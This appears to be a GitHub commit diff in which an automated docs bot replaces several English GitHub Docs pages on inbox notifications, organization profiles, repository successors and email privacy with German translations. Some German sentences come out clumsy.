This commit is contained in:
docubot 2022-12-12 09:46:53 -08:00 коммит произвёл GitHub
Родитель 056b83fc53
Коммит df0ae56584
Не найден ключ, соответствующий данной подписи
Идентификатор ключа GPG: 4AEE18F83AFDEB23
299 изменённых файлов: 12368 добавлений и 13097 удалений

Просмотреть файл

@ -1,6 +1,6 @@
---
title: Managing notifications from your inbox
intro: 'Use your inbox to quickly triage and sync your notifications across email{% ifversion fpt or ghes or ghec %} and mobile{% endif %}.'
title: Benachrichtigungen über deinen Posteingang verwalten
intro: 'Selektiere und synchronisiere deine Benachrichtigungen über deinen Posteingang im Handumdrehen für alle E-Mail-Konten{% ifversion fpt or ghes or ghec %} und mobilen Geräte{% endif %}.'
redirect_from:
- /articles/marking-notifications-as-read
- /articles/saving-notifications-for-later
@ -14,98 +14,102 @@ versions:
topics:
- Notifications
shortTitle: Manage from your inbox
ms.openlocfilehash: d3e0d5eb5e7cf3e544ab601651951178402e4150
ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
ms.translationtype: HT
ms.contentlocale: de-DE
ms.lasthandoff: 10/25/2022
ms.locfileid: '148106805'
---
## Über deinen Posteingang
## About your inbox
{% ifversion fpt or ghes or ghec %}
{% data reusables.notifications-v2.notifications-inbox-required-setting %} For more information, see "[Configuring notifications](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications#choosing-your-notification-settings)."
{% ifversion fpt or ghes or ghec %} {% data reusables.notifications-v2.notifications-inbox-required-setting %} Weitere Informationen findest du unter [Konfigurieren von Benachrichtigungen](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications#choosing-your-notification-settings).
{% endif %}
To access your notifications inbox, in the upper-right corner of any page, click {% octicon "bell" aria-label="The notifications bell" %}.
Um auf deinen Posteingang für Benachrichtigungen zuzugreifen, klicke in der rechten oberen Ecke einer beliebigen Seite auf {% octicon "bell" aria-label="The notifications bell" %}.
![Notification indicating any unread message](/assets/images/help/notifications/notifications_general_existence_indicator.png)
![Benachrichtigung, die auf eine ungelesene Mitteilung hinweist](/assets/images/help/notifications/notifications_general_existence_indicator.png)
Your inbox shows all of the notifications that you haven't unsubscribed to or marked as **Done.** You can customize your inbox to best suit your workflow using filters, viewing all or just unread notifications, and grouping your notifications to get a quick overview.
Dein Posteingang zeigt alle Benachrichtigungen an, die du nicht deaktiviert oder als **Erledigt** markiert hast. Du kannst deinen Posteingang an deinen Workflow anpassen, indem du Filter verwendest, alle oder nur ungelesene Benachrichtigungen anzeigst und deine Benachrichtigungen gruppierst, um eine schnelle Übersicht zu erhalten.
![inbox view](/assets/images/help/notifications-v2/inbox-view.png)
![Posteingangsansicht](/assets/images/help/notifications-v2/inbox-view.png)
By default, your inbox will show read and unread notifications. To only see unread notifications, click **Unread** or use the `is:unread` query.
Standardmäßig werden in deinem Posteingang gelesene und ungelesene Benachrichtigungen angezeigt. Um nur ungelesene Benachrichtigungen anzuzeigen, klicke auf **Ungelesen**, oder verwende die Abfrage `is:unread`.
![unread inbox view](/assets/images/help/notifications-v2/unread-inbox-view.png)
![Posteingangsansicht ungelesene Benachrichtigungen](/assets/images/help/notifications-v2/unread-inbox-view.png)
## Triaging options
## Selektionsoptionen
You have several options for triaging notifications from your inbox.
Du hast mehrere Optionen, um Benachrichtigungen in deinem Posteingang zu selektieren.
| Triaging option | Description |
| Selektionsoptionen | BESCHREIBUNG |
|-----------------|-------------|
| Save | Saves your notification for later review. To save a notification, to the right of the notification, click {% octicon "bookmark" aria-label="The bookmark icon" %}. <br> <br> Saved notifications are kept indefinitely and can be viewed by clicking **Saved** in the sidebar or with the `is:saved` query. If your saved notification is older than 5 months and becomes unsaved, the notification will disappear from your inbox within a day. |
| Done | Marks a notification as completed and removes the notification from your inbox. You can see all completed notifications by clicking **Done** in the sidebar or with the `is:done` query. Notifications marked as **Done** are saved for 5 months.
| Unsubscribe | Automatically removes the notification from your inbox and unsubscribes you from the conversation until you are @mentioned, a team you're on is @mentioned, or you're requested for review.
| Read | Marks a notification as read. To only view read notifications in your inbox, use the `is:read` query. This query doesn't include notifications marked as **Done**.
| Unread | Marks notification as unread. To only view unread notifications in your inbox, use the `is:unread` query. |
| Speichern | Sichert deine Benachrichtigung für spätere Überprüfung. Um eine Benachrichtigung zu speichern, klicke rechts neben der Benachrichtigung auf {% octicon "bookmark" aria-label="The bookmark icon" %}. <br> <br> Gespeicherte Benachrichtigungen werden unbegrenzt aufbewahrt und können angezeigt werden, indem du auf der Randleiste auf **Gespeichert** klickst oder die Abfrage `is:saved` verwendest. Wenn deine gesicherte Benachrichtigung älter als 5 Monate ist und du sie nicht mehr sicherst, wird die Benachrichtigung innerhalb eines Tages aus deinem Posteingang entfernt. |
| Fertig | Markiert eine Benachrichtigung als erledigt und entfernt die Benachrichtigung aus deinem Posteingang. Du kannst alle abgeschlossenen Benachrichtigungen anzeigen, indem du auf der Randleiste auf **Erledigt** klickst oder die Abfrage `is:done` verwendest. Benachrichtigungen, die als **Erledigt** gekennzeichnet sind, werden fünf Monate lang gespeichert.
| Abbestellen | Entfernt die Benachrichtigung automatisch aus deinem Posteingang und gekündigt dich von der Unterhaltung, bis du bist @mentioned, ein Team, auf dem du @mentioneddich befindest, oder du wirst zur Überprüfung angefordert.
| Lesen | Markiert eine Benachrichtigung als gelesen. Um nur gelesene Benachrichtigungen in deinem Posteingang anzuzeigen, verwende die Abfrage `is:read`. Diese Abfrage enthält keine Benachrichtigungen, die als **Erledigt** gekennzeichnet sind.
| Unread | Markiert Benachrichtigungen als ungelesen. Um nur ungelesene Benachrichtigungen in deinem Posteingang anzuzeigen, verwende die Abfrage `is:unread`. |
To see the available keyboard shortcuts, see "[Keyboard Shortcuts](/github/getting-started-with-github/keyboard-shortcuts#notifications)."
Informationen zu den verfügbaren Tastenkombinationen findest du unter [Tastenkombinationen](/github/getting-started-with-github/keyboard-shortcuts#notifications).
Before choosing a triage option, you can preview your notification's details first and investigate. For more information, see "[Triaging a single notification](/github/managing-subscriptions-and-notifications-on-github/triaging-a-single-notification)."
Bevor du eine Selektionsoption wählst, kannst du die Details deiner Benachrichtigung zuerst anzeigen und untersuchen. Weitere Informationen findest du unter [Selektierung einer einzelnen Benachrichtigung](/github/managing-subscriptions-and-notifications-on-github/triaging-a-single-notification).
## Triaging multiple notifications at the same time
## Mehrere Benachrichtigungen gleichzeitig selektieren
To triage multiple notifications at once, select the relevant notifications and use the {% octicon "kebab-horizontal" aria-label="The edit icon" %} drop-down to choose a triage option.
Um mehrere Benachrichtigungen gleichzeitig zu selektieren, wähle die entsprechenden Benachrichtigungen aus, und verwende das {% octicon "kebab-horizontal" aria-label="The edit icon" %}-Dropdownmenü, um eine Selektionsoption auszuwählen.
![Drop-down menu with triage options and selected notifications](/assets/images/help/notifications-v2/triage-multiple-notifications-together.png)
![Dropdownmenü mit Selektionsoptionen und ausgewählten Benachrichtigungen](/assets/images/help/notifications-v2/triage-multiple-notifications-together.png)
## Default notification filters
## Standard-Benachrichtigungsfilter
By default, your inbox has filters for when you are assigned, participating in a thread, requested to review a pull request, or when your username is @mentioned directly or a team you're a member of is @mentioned.
Standardmäßig verfügt dein Posteingang über Filter, nach denen du zugewiesen wirst, an einem Thread teilnehmen, aufgefordert werden, eine Pullanforderung zu überprüfen, oder wenn dein Benutzername direkt oder ein Team ist @mentioned , bei dem du Mitglied @mentionedbist.
![Default custom filters](/assets/images/help/notifications-v2/default-filters.png)
![Standardmäßige benutzerdefinierte Filter](/assets/images/help/notifications-v2/default-filters.png)
## Customizing your inbox with custom filters
## Deinen Posteingang mit benutzerdefinierten Filtern anpassen
You can add up to 15 of your own custom filters.
Du kannst bis zu 15 eigene, benutzerdefinierte Filter hinzufügen.
{% data reusables.notifications.access_notifications %}
2. To open the filter settings, in the left sidebar, next to "Filters", click {% octicon "gear" aria-label="The Gear icon" %}.
2. Um die Filtereinstellungen zu öffnen, klicke auf der linken Randleiste neben „Filter“ auf {% octicon "gear" aria-label="The Gear icon" %}.
{% tip %}
**Tip:** You can quickly preview a filter's inbox results by creating a query in your inbox view and clicking **Save**, which opens the custom filter settings.
**Tipp**: Du kannst schnell eine Vorschau der Ergebnisse deines Posteingangfilters erstellen, indem du eine Abfrage in der Ansicht deines Posteingangs erstellst und auf **Speichern** klickst. Dadurch werden die Einstellungen für benutzerdefinierte Filter geöffnet.
{% endtip %}
3. Add a name for your filter and a filter query. For example, to only see notifications for a specific repository, you can create a filter using the query `repo:octocat/open-source-project-name reason:participating`. You can also add emojis with a native emoji keyboard. For a list of supported search queries, see "[Supported queries for custom filters](#supported-queries-for-custom-filters)."
3. Füge deinem Filter einen Namen und eine Filterabfrage hinzu. Um beispielsweise nur Benachrichtigungen für ein bestimmtes Repository anzuzeigen, kannst du einen Filter mithilfe der Abfrage `repo:octocat/open-source-project-name reason:participating` erstellen. Du kannst auch Emojis mit einer lokalen Emoji-Tastatur hinzufügen. Eine Liste der unterstützten Suchabfragen findest du unter [Unterstützte Abfragen für benutzerdefinierte Filter](#supported-queries-for-custom-filters).
![Custom filter example](/assets/images/help/notifications-v2/custom-filter-example.png)
![Beispiel für benutzerdefinierte Filter](/assets/images/help/notifications-v2/custom-filter-example.png)
4. Click **Create**.
4. Klicken Sie auf **Erstellen**.
## Custom filter limitations
## Beschränkungen für benutzerdefinierte Filter
Custom filters do not currently support:
- Full text search in your inbox, including searching for pull request or issue titles.
- Distinguishing between the `is:issue`, `is:pr`, and `is:pull-request` query filters. These queries will return both issues and pull requests.
- Creating more than 15 custom filters.
- Changing the default filters or their order.
- Search [exclusion](/github/searching-for-information-on-github/understanding-the-search-syntax#exclude-certain-results) using `NOT` or `-QUALIFIER`.
Benutzerdefinierte Filter unterstützen im Moment nicht:
- Volltextsuche in deinem Posteingang, einschließlich die Suche nach Pull-Request- oder Issue-Titeln.
- Das Unterscheiden zwischen den Abfragefiltern `is:issue`, `is:pr` und `is:pull-request`. Diese Abfragen werden sowohl Issues wie Pull Request zurückgeben.
- Das Erstellen von mehr als 15 benutzerdefinierten Filtern.
- Das Ändern der Standardfilter oder deren Reihenfolge.
- Den [Ausschluss](/github/searching-for-information-on-github/understanding-the-search-syntax#exclude-certain-results) bei der Suchfunktion durch `NOT` oder `-QUALIFIER`.
## Supported queries for custom filters
## Unterstützte Abfragen für benutzerdefinierte Filter
These are the types of filters that you can use:
- Filter by repository with `repo:`
- Filter by discussion type with `is:`
- Filter by notification reason with `reason:`{% ifversion fpt or ghec %}
- Filter by notification author with `author:`
- Filter by organization with `org:`{% endif %}
Es gibt drei Arten von Filtern, die verwendet werden können:
- Filtern nach Repository mit `repo:`
- Filtern nach Diskussionstyp mit `is:`
- Filtern nach Benachrichtigungsgrund mit `reason:`{% ifversion fpt or ghec %}
- Filtern nach Benachrichtigungsautor mit `author:`
- Filtern nach Organisation mit `org:`{% endif %}
### Supported `repo:` queries
### Unterstützte `repo:`-Abfragen
To add a `repo:` filter, you must include the owner of the repository in the query: `repo:owner/repository`. An owner is the organization or the user who owns the {% data variables.product.prodname_dotcom %} asset that triggers the notification. For example, `repo:octo-org/octo-repo` will show notifications triggered in the octo-repo repository within the octo-org organization.
Um einen `repo:`-Filter hinzuzufügen, musst du den Besitzer des Repository in die Abfrage einschließen: `repo:owner/repository`. Ein Besitzer ist die Organisation oder die Person, die die {% data variables.product.prodname_dotcom %}-Ressource besitzt, durch die die Benachrichtigung ausgelöst wird. Beispielsweise zeigt `repo:octo-org/octo-repo` Benachrichtigungen an, die im Repository „octo-repo“ innerhalb der Organisation „octo-org“ ausgelöst werden.
### Supported `is:` queries
### Unterstützte `is:`-Abfragen
To filter notifications for specific activity on {% data variables.location.product_location %}, you can use the `is` query. For example, to only see repository invitation updates, use `is:repository-invitation`{% ifversion not ghae %}, and to only see {% data variables.product.prodname_dependabot_alerts %}, use `is:repository-vulnerability-alert`{% endif %}.
Um Benachrichtigungen nach bestimmten Aktivitäten auf {% data variables.location.product_location %} zu filtern, kannst du die Abfrage `is` verwenden. Wenn du z. B. nur Repositoryeinladungsupdates anzeigen möchtest, verwende `is:repository-invitation`{% ifversion not ghae %}, und um nur {% data variables.product.prodname_dependabot_alerts %} anzuzeigen, verwende `is:repository-vulnerability-alert`{% endif %}.
- `is:check-suite`
- `is:commit`
@ -118,64 +122,63 @@ To filter notifications for specific activity on {% data variables.location.prod
- `is:team-discussion`{% ifversion fpt or ghec %}
- `is:discussion`{% endif %}
For information about reducing noise from notifications for {% data variables.product.prodname_dependabot_alerts %}, see "[Configuring notifications for {% data variables.product.prodname_dependabot_alerts %}](/code-security/dependabot/dependabot-alerts/configuring-notifications-for-dependabot-alerts)."
Informationen zum Reduzieren redundanter Benachrichtigungen für {% data variables.product.prodname_dependabot_alerts %} findest du unter [Konfigurieren von Benachrichtigungen für {% data variables.product.prodname_dependabot_alerts %}](/code-security/dependabot/dependabot-alerts/configuring-notifications-for-dependabot-alerts).
You can also use the `is:` query to describe how the notification was triaged.
Du kannst auch die Abfrage `is:` verwenden, um zu beschreiben, wie die Benachrichtigung selektiert wurde.
- `is:saved`
- `is:done`
- `is:unread`
- `is:read`
### Supported `reason:` queries
### Unterstützte `reason:`-Abfragen
To filter notifications by why you've received an update, you can use the `reason:` query. For example, to see notifications when you (or a team you're on) is requested to review a pull request, use `reason:review-requested`. For more information, see "[About notifications](/github/managing-subscriptions-and-notifications-on-github/about-notifications#reasons-for-receiving-notifications)."
Um Benachrichtigungen nach dem Grund zu filtern, aus dem du ein Update erhalten hast, kannst du die Abfrage `reason:` verwenden. Um beispielsweise Benachrichtigungen zu sehen, in denen du oder ein Team, dem du angehörst, zu einem Pull Request-Review aufgefordert wurde, verwende die Abfrage `reason:review-requested`. Weitere Informationen findest du unter [Informationen zu Benachrichtigungen](/github/managing-subscriptions-and-notifications-on-github/about-notifications#reasons-for-receiving-notifications).
| Query | Description |
| Abfrage | BESCHREIBUNG |
|-----------------|-------------|
| `reason:assign` | When there's an update on an issue or pull request you've been assigned to.
| `reason:author` | When you opened a pull request or issue and there has been an update or new comment.
| `reason:comment`| When you commented on an issue, pull request, or team discussion.
| `reason:participating` | When you have commented on an issue, pull request, or team discussion or you have been @mentioned.
| `reason:invitation` | When you're invited to a team, organization, or repository.
| `reason:manual` | When you click **Subscribe** on an issue or pull request you weren't already subscribed to.
| `reason:mention` | You were directly @mentioned.
| `reason:review-requested` | You or a team you're on have been requested to review a pull request.
| `reason:security-alert` | When a security alert is issued for a repository.
| `reason:state-change` | When the state of a pull request or issue is changed. For example, an issue is closed or a pull request is merged.
| `reason:team-mention` | When a team you're a member of is @mentioned.
| `reason:ci-activity` | When a repository has a CI update, such as a new workflow run status.
| `reason:assign` | Wenn es eine Aktualisierung zu einem Issue oder Pull Request gibt, denen du zugewiesen bist.
| `reason:author` | Wenn es eine Aktualisierung oder einen neuen Kommentar zu einem Pull Request oder Issue gibt, die du eröffnet hast.
| `reason:comment`| Wenn du einen Issue, einen Pull Request oder eine Teamdiskussion kommentiert hast.
| `reason:participating` | Wenn du ein Issue, einen Pull Request oder eine Teamdiskussion kommentiert hast oder über @mentioned erwähnt wurdest.
| `reason:invitation` | Wenn du in ein Team, eine Organisation oder ein Repository eingeladen wirst.
| `reason:manual` | Wenn du für ein Issue oder einen Pull Request, das bzw. den du noch nicht abonniert hast, auf **Abonnieren** klickst.
| `reason:mention` | Du wurdest direkt über @mentioned erwähnt.
| `reason:review-requested` | Du oder ein Team, dem du angehörst, wurden gebeten, einen Pull Request zu prüfen.
| `reason:security-alert` | Wenn eine Sicherheitswarnung für ein Repository ausgegeben wird
| `reason:state-change` | Wenn der Status eines Pull Request oder Issue geändert wird. Beispielsweise wird ein Issue geschlossen oder ein Pull Request zusammengeführt.
| `reason:team-mention` | Wenn ein Team, dem du angehörst, über @mentioned erwähnt wird.
| `reason:ci-activity` | Wenn ein Repository CI-Aktualisierungen hat, wie beispielsweise einen neuen Status für eine Workflow-Ausführung.
{% ifversion fpt or ghec %}
### Supported `author:` queries
### Unterstützte `author:`-Abfragen
To filter notifications by user, you can use the `author:` query. An author is the original author of the thread (issue, pull request, gist, discussions, and so on) for which you are being notified. For example, to see notifications for threads created by the Octocat user, use `author:octocat`.
Um Benachrichtigungen nach Benutzer zu filtern, kannst du die `author:`-Abfrage verwenden. Ein Autor ist der ursprüngliche Verfasser des Threads (z. B. Issue, Pull Request, Gist oder Diskussionen), über den du benachrichtigt wirst. Um beispielsweise Benachrichtigungen für Threads anzuzeigen, die vom Benutzer „Octocat“ erstellt wurden, verwende `author:octocat`.
### Supported `org:` queries
### Unterstützte `org:`-Abfragen
To filter notifications by organization, you can use the `org` query. The organization you need to specify in the query is the organization of the repository for which you are being notified on {% data variables.product.prodname_dotcom %}. This query is useful if you belong to several organizations, and want to see notifications for a specific organization.
Um Benachrichtigungen nach Organisation zu filtern, kannst du die `org`-Abfrage verwenden. Die Organisation, die du in der Abfrage angeben musst, ist die Organisation des Repositorys, für das du über {% data variables.product.prodname_dotcom %} benachrichtigt wirst. Diese Abfrage ist nützlich, wenn du mehreren Organisationen angehörst und Benachrichtigungen für eine bestimmte Organisation anzeigen möchtest.
For example, to see notifications from the octo-org organization, use `org:octo-org`.
Um beispielsweise Benachrichtigungen aus der Organisation „octo-org“ anzuzeigen, verwende `org:octo-org`.
{% endif %}
## {% data variables.product.prodname_dependabot %} custom filters
## Benutzerdefinierte {% data variables.product.prodname_dependabot %}-Filter
{% ifversion fpt or ghec or ghes %}
If you use {% data variables.product.prodname_dependabot %} to keep your dependencies up-to-date, you can use and save these custom filters:
- `is:repository_vulnerability_alert` to show notifications for {% data variables.product.prodname_dependabot_alerts %}.
- `reason:security_alert` to show notifications for {% data variables.product.prodname_dependabot_alerts %} and security update pull requests.
- `author:app/dependabot` to show notifications generated by {% data variables.product.prodname_dependabot %}. This includes {% data variables.product.prodname_dependabot_alerts %}, security update pull requests, and version update pull requests.
{% ifversion fpt or ghec or ghes %} Wenn du {% data variables.product.prodname_dependabot %} verwendest, um deine Abhängigkeiten auf dem neuesten Stand zu halten, kannst du diese benutzerdefinierten Filter verwenden und speichern:
- `is:repository_vulnerability_alert` zum Anzeigen von Benachrichtigungen für {% data variables.product.prodname_dependabot_alerts %}.
- `reason:security_alert` zum Anzeigen von Benachrichtigungen für {% data variables.product.prodname_dependabot_alerts %} und Pull Requests für Sicherheitsupdates.
- `author:app/dependabot` zum Anzeigen von Benachrichtigungen, die von {% data variables.product.prodname_dependabot %} generiert wurden. Dies beinhaltet {% data variables.product.prodname_dependabot_alerts %}, Pull Requests für Sicherheitsupdates und Pull Requests für Versionsupdates.
For more information about {% data variables.product.prodname_dependabot %}, see "[About {% data variables.product.prodname_dependabot_alerts %}](/code-security/supply-chain-security/about-alerts-for-vulnerable-dependencies)."
Weitere Informationen zu {% data variables.product.prodname_dependabot %} findest du unter [Informationen zu {% data variables.product.prodname_dependabot_alerts %}](/code-security/supply-chain-security/about-alerts-for-vulnerable-dependencies).
{% endif %}
{% ifversion ghae %}
If you use {% data variables.product.prodname_dependabot %} to tell you about insecure dependencies, you can use and save these custom filters to show notifications for {% data variables.product.prodname_dependabot_alerts %}:
Wenn du {% data variables.product.prodname_dependabot %} verwendest, um über unsichere Abhängigkeiten informiert zu werden, kannst du diese benutzerdefinierten Filter zum Anzeigen von Benachrichtigungen für {% data variables.product.prodname_dependabot_alerts %} verwenden und speichern:
- `is:repository_vulnerability_alert`
- `reason:security_alert`
For more information about {% data variables.product.prodname_dependabot %}, see "[About {% data variables.product.prodname_dependabot_alerts %}](/github/managing-security-vulnerabilities/about-alerts-for-vulnerable-dependencies)."
Weitere Informationen zu {% data variables.product.prodname_dependabot %} findest du unter [Informationen zu {% data variables.product.prodname_dependabot_alerts %}](/github/managing-security-vulnerabilities/about-alerts-for-vulnerable-dependencies).
{% endif %}

Просмотреть файл

@ -1,6 +1,6 @@
---
title: About your organization's profile
intro: Your organization's profile page shows basic information about your organization.
title: Informationen zum Profil deiner Organisation
intro: Auf der Profilseite deiner Organisation werden grundlegende Informationen zu deiner Organisation angezeigt.
redirect_from:
- /articles/about-your-organization-s-profile
- /articles/about-your-organizations-profile
@ -14,22 +14,21 @@ versions:
topics:
- Profiles
shortTitle: Organization's profile
ms.openlocfilehash: a42d5393de00e57f0b642c89a349da86b4ad55f1
ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
ms.translationtype: HT
ms.contentlocale: de-DE
ms.lasthandoff: 10/25/2022
ms.locfileid: '148108387'
---
Du kannst optional eine Beschreibung, einen Standort, eine Website und eine E-Mail-Adresse für deine Organisation hinzufügen und wichtige Repositorys anheften.{% ifversion fpt or ghec or ghes > 3.3 %} Du kannst das öffentliche Profil deiner Organisation anpassen, indem du eine README.md-Datei hinzufügst. Weitere Informationen findest du unter "[Anpassen des Profils deiner Organisation](/organizations/collaborating-with-groups-in-organizations/customizing-your-organizations-profile)".{% endif %}
You can optionally choose to add a description, location, website, and email address for your organization, and pin important repositories.{% ifversion fpt or ghec or ghes > 3.3 %} You can customize your organization's public profile by adding a README.md file. For more information, see "[Customizing your organization's profile](/organizations/collaborating-with-groups-in-organizations/customizing-your-organizations-profile)."{% endif %}
{% ifversion fpt %}
Organizations that use {% data variables.product.prodname_ghe_cloud %} can confirm their organization's identity and display a "Verified" badge on their organization's profile page by verifying the organization's domains with {% data variables.product.product_name %}. For more information, see "[Verifying or approving a domain for your organization](/organizations/managing-organization-settings/verifying-or-approving-a-domain-for-your-organization)" in the {% data variables.product.prodname_ghe_cloud %} documenatation.
{% elsif ghec or ghes %}
To confirm your organization's identity and display a "Verified" badge on your organization profile page, you can verify your organization's domains with {% data variables.product.prodname_dotcom %}. For more information, see "[Verifying or approving a domain for your organization](/organizations/managing-organization-settings/verifying-or-approving-a-domain-for-your-organization)."
{% ifversion fpt %} Organisationen, die {% data variables.product.prodname_ghe_cloud %} verwenden, können die Identität ihrer Organisation bestätigen und einen Badge für "Überprüft" auf der Profilseite ihrer Organisation anzeigen, indem sie die Domänen der Organisation mit {% data variables.product.product_name %} überprüfen. Weitere Informationen findest du unter "[Überprüfen oder Genehmigen einer Domäne für deine Organisation](/organizations/managing-organization-settings/verifying-or-approving-a-domain-for-your-organization)" in der {% data variables.product.prodname_ghe_cloud %}-Dokumentation.
{% elsif ghec or ghes %} Um die Identität deiner Organisation zu bestätigen und den Badge „Verifiziert“ auf der Profilseite deiner Organisation anzuzeigen, kannst du die Domänen deiner Organisation mit {% data variables.product.prodname_dotcom %} verifizieren. Weitere Informationen findest du unter [Überprüfen oder Genehmigen einer Domäne für deine Organisation](/organizations/managing-organization-settings/verifying-or-approving-a-domain-for-your-organization).
{% endif %}
{% ifversion fpt or ghes or ghec %}
![Sample organization profile page](/assets/images/help/organizations/org_profile_with_overview.png)
{% else %}
![Sample organization profile page](/assets/images/help/profile/org_profile.png)
{% endif %}
{% ifversion fpt or ghes or ghec %} ![Beispiel-Organisationsprofilseite](/assets/images/help/organizations/org_profile_with_overview.png) {% else %} ![Beispiel-Organisationsprofilseite](/assets/images/help/profile/org_profile.png) {% endif %}
## Further reading
## Weitere Informationsquellen
- "[About organizations](/organizations/collaborating-with-groups-in-organizations/about-organizations)"
- "[Informationen zu Organisationen](/organizations/collaborating-with-groups-in-organizations/about-organizations)"

Просмотреть файл

@ -1,6 +1,6 @@
---
title: Maintaining ownership continuity of your personal account's repositories
intro: You can invite someone to manage your user owned repositories if you are not able to.
title: Beibehalten der Inhaberschaft für die Repositorys deines persönlichen Kontos
intro: 'Du kannst jemanden einladen, Deine eigenen Repositorys zu verwalten, wenn du nicht dazu in der Lage bist.'
versions:
fpt: '*'
ghec: '*'
@ -12,29 +12,34 @@ redirect_from:
- /github/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories/maintaining-ownership-continuity-of-your-user-accounts-repositories
- /account-and-profile/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories/maintaining-ownership-continuity-of-your-user-accounts-repositories
shortTitle: Ownership continuity
ms.openlocfilehash: 5230b99ebce74f3b59e805c8fe81c16edfcd1ba9
ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
ms.translationtype: HT
ms.contentlocale: de-DE
ms.lasthandoff: 09/05/2022
ms.locfileid: '147507998'
---
## About successors
## Über Nachfolger
We recommend inviting another {% data variables.product.company_short %} user to be your successor, to manage your user owned repositories if you cannot. As a successor, they will have permission to:
Wir empfehlen, einen anderen {% data variables.product.company_short %}-Benutzer einzuladen, Dein Nachfolger zu werden, um Deine eigenen Repositories zu verwalten, wenn Du dies nicht kannst. Als Nachfolger wird dieser Benutzer folgende Berechtigungen haben:
- Archive your public repositories.
- Transfer your public repositories to their own user owned account.
- Transfer your public repositories to an organization where they can create repositories.
- Deine öffentlichen Repositorys zu archivieren.
- Deine öffentlichen Repositorys zu seinem eigenen Benutzerkonto zu übertragen.
- Deine öffentlichen Repositorys zu einer Organisation zu übertragen, in denen er Repositorys erstellen kann.
Successors cannot log into your account.
Nachfolger können sich nicht an Deinem Konto anmelden.
An appointed successor can manage your public repositories after presenting a death certificate then waiting for 7 days or presenting an obituary then waiting for 21 days. For more information, see "[{% data variables.product.company_short %} Deceased User Policy](/free-pro-team@latest/github/site-policy/github-deceased-user-policy)."
Ein ernannter Nachfolger kann Deine öffentlichen Repositories verwalten, wenn er eine Sterbeurkunde vorgelegt hat und dann 7 Tage wartet, oder wenn er einen Nachruf vorgelegt hat und dann 21 Tage wartet. Weitere Informationen findest du unter [{% data variables.product.company_short %}-Richtlinie für verstorbene Benutzer*innen](/free-pro-team@latest/github/site-policy/github-deceased-user-policy).
To request access to manage repositories as a successor, contact [GitHub Support](https://support.github.com/contact?tags=docs-accounts).
Wende dich an den [GitHub-Support](https://support.github.com/contact?tags=docs-accounts), um Zugriff auf die Verwaltung von Repositorys als Nachfolger*in anzufordern.
## Inviting a successor
The person you invite to be your successor must have a {% data variables.product.company_short %} account.
## Einen Nachfolger einladen
Die Person, die Du als Deinen Nachfolger einlädst, muss ein {% data variables.product.company_short %}-Konto haben.
{% data reusables.user-settings.access_settings %}
{% data reusables.user-settings.account_settings %}
3. Under "Successor settings", to invite a successor, begin typing a username, full name, or email address, then click their name when it appears.
![Successor invitation search field](/assets/images/help/settings/settings-invite-successor-search-field.png)
4. Click **Add successor**.
{% data reusables.user-settings.access_settings %} {% data reusables.user-settings.account_settings %}
3. Um einen Nachfolger einzuladen, fange unter „Successor settings" (Nachfolger-Einstellungen) an, den Benutzernamen, den vollen Namen oder die E-Mail-Adresse einzugeben, und klicke dann auf den Namen, wenn er erscheint.
![Suchfeld „Nachfolgereinladung“](/assets/images/help/settings/settings-invite-successor-search-field.png)
4. Klicke auf **Nachfolger hinzufügen**.
{% data reusables.user-settings.sudo-mode-popup %}
6. The user you've invited will be listed as "Pending" until they agree to become your successor.
![Pending successor invitation](/assets/images/help/settings/settings-pending-successor.png)
6. Der Benutzer, den du eingeladen hast, wird als "Ausstehend" aufgelistet, bis er zustimmt, dein Nachfolger zu werden.
![Ausstehende Einladung an Nachfolger](/assets/images/help/settings/settings-pending-successor.png)

Просмотреть файл

@ -1,6 +1,6 @@
---
title: Blocking command line pushes that expose your personal email address
intro: 'If you''ve chosen to keep your email address private when performing web-based operations, you can also choose to block command line pushes that may expose your personal email address.'
title: 'Pushes über die Befehlszeile blockieren, die Deine private E-Mail-Adresse offenlegen'
intro: 'Wenn du festgelegt hast, dass deine E-Mail-Adresse beim durchführen webbasierter Vorgänge nicht offengelegt wird, kannst du auch Pushes über die Befehlszeile blockieren, die deine private E-Mail-Adresse offenlegen könnten.'
redirect_from:
- /articles/blocking-command-line-pushes-that-expose-your-personal-email-address
- /github/setting-up-and-managing-your-github-user-account/blocking-command-line-pushes-that-expose-your-personal-email-address
@ -13,17 +13,21 @@ topics:
- Accounts
- Notifications
shortTitle: Block push with personal email
ms.openlocfilehash: 2c79886af1e35e0f02419610dfca1459a9693731
ms.sourcegitcommit: 1309b46201604c190c63bfee47dce559003899bf
ms.translationtype: HT
ms.contentlocale: de-DE
ms.lasthandoff: 09/10/2022
ms.locfileid: '145165061'
---
When you push commits from the command line, the email address that you've [set in Git](/articles/setting-your-commit-email-address) is associated with your commits. If you enable this setting, each time you push to GitHub, well check the most recent commit. If the author email on that commit is a private email on your GitHub account, we will block the push and warn you about exposing your private email.
Wenn du Commits über die Befehlszeile pushst, wird die E-Mail-Adresse, die du [in Git festgelegt](/articles/setting-your-commit-email-address) hast, deinen Commits zugeordnet. Wenn diese Einstellung aktiviert ist, wird jedes Mal, wenn du etwas in GitHub pushst, der neueste Commit überprüft. Wenn die Ersteller-E-Mail-Adresse für diesen Commit eine private E-Mail-Adresse in deinem GitHub Konto ist, wird der Push blockiert, und du erhältst eine Warnung, dass deine private E-Mail-Adresse offengelegt wird.
{% data reusables.user-settings.about-commit-email-addresses %}
{% data reusables.user-settings.access_settings %}
{% data reusables.user-settings.emails %}
{% data reusables.user-settings.keeping_your_email_address_private %}
4. To keep your email address private in commits you push from the command line, select **Block command line pushes that expose my email**.
![Option to block command line pushes that expose your emails](/assets/images/help/settings/email_privacy_block_command_line_pushes.png)
{% data reusables.user-settings.access_settings %} {% data reusables.user-settings.emails %} {% data reusables.user-settings.keeping_your_email_address_private %}
4. Damit deine E-Mail-Adresse bei Commits, die du über die Befehlszeile pushst, privat bleibt, wähle **Pushes über die Befehlszeile blockieren, die meine E-Mail-Adresse offenlegen** aus.
![Option zum Blockieren von Befehlszeilenpushes, die E-Mail-Adressen offenlegen](/assets/images/help/settings/email_privacy_block_command_line_pushes.png)
## Further reading
## Weiterführende Themen
- "[Setting your commit email address](/articles/setting-your-commit-email-address)"
